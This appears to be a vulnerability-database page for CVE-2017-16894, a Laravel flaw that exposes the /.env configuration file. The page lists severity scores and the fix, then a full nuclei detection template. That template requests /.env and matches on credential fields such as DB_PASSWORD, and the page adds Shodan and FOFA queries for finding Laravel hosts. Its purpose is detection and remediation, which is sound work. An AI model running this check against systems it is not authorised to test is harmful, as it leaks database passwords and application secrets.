HexBrain

Browse / CVEs / CVE-2017-16894

CVE-2017-16894· laravel / laravel· CWE-200

Laravel <5.5.21 - Information Disclosure

highseverity
7.5CVSS score
86.9%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Laravel through 5.5.21 is susceptible to information disclosure. An attacker can obtain sensitive information such as externally usable passwords via a direct request for the /.env URI. NOTE: CVE pertains only to the writeNewEnvironmentFileWith function in src/Illuminate/Foundation/Console/KeyGenerateCommand.php, which uses file_put_contents without restricting .env permissions. The .env filename is not used exclusively by Laravel.

Impact

An attacker can exploit this vulnerability to gain sensitive information from the application.

Fix

Upgrade Laravel to version 5.5.21 or higher to fix the information disclosure vulnerability.

How to confirm it

Send: GET {{BaseURL}}/.env
Positive when: contains "APP_NAME=" and "APP_DEBUG=" and "DB_PASSWORD=" AND contains in header "application/octet-stream" AND status 200

Run it with nuclei: nuclei -id CVE-2017-16894 -u <target>

The full check
id: CVE-2017-16894

info:
  name: Laravel <5.5.21 - Information Disclosure
  author: j4vaovo
  severity: high
  description: |
    Laravel through 5.5.21 is susceptible to information disclosure. An attacker can obtain sensitive information such as externally usable passwords via a direct request for the /.env URI. NOTE: CVE pertains only to the writeNewEnvironmentFileWith function in src/Illuminate/Foundation/Console/KeyGenerateCommand.php, which uses file_put_contents without restricting .env permissions. The .env filename is not used exclusively by Laravel.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the application.
  remediation: |
    Upgrade Laravel to version 5.5.21 or higher to fix the information disclosure vulnerability.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16894
    - https://packetstormsecurity.com/files/cve/CVE-2017-16894
    - http://whiteboyz.xyz/laravel-env-file-vuln.html
    - https://twitter.com/finnwea/status/967709791442341888
    - https://nvd.nist.gov/vuln/detail/CVE-2017-16894
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-16894
    cwe-id: CWE-200
    epss-score: 0.86916
    epss-percentile: 0.99748
    cpe: cpe:2.3:a:laravel:laravel:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: laravel
    product: laravel
    shodan-query:
      - Laravel-Framework
      - cpe:"cpe:2.3:a:laravel:laravel"
      - laravel-framework
    fofa-query:
      - app="Laravel-Framework"
      - app="laravel-framework"
  tags: cve,cve2017,laravel,exposure,packetstorm,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/.env"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "APP_NAME="
          - "APP_DEBUG="
          - "DB_PASSWORD="
        condition: and

      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from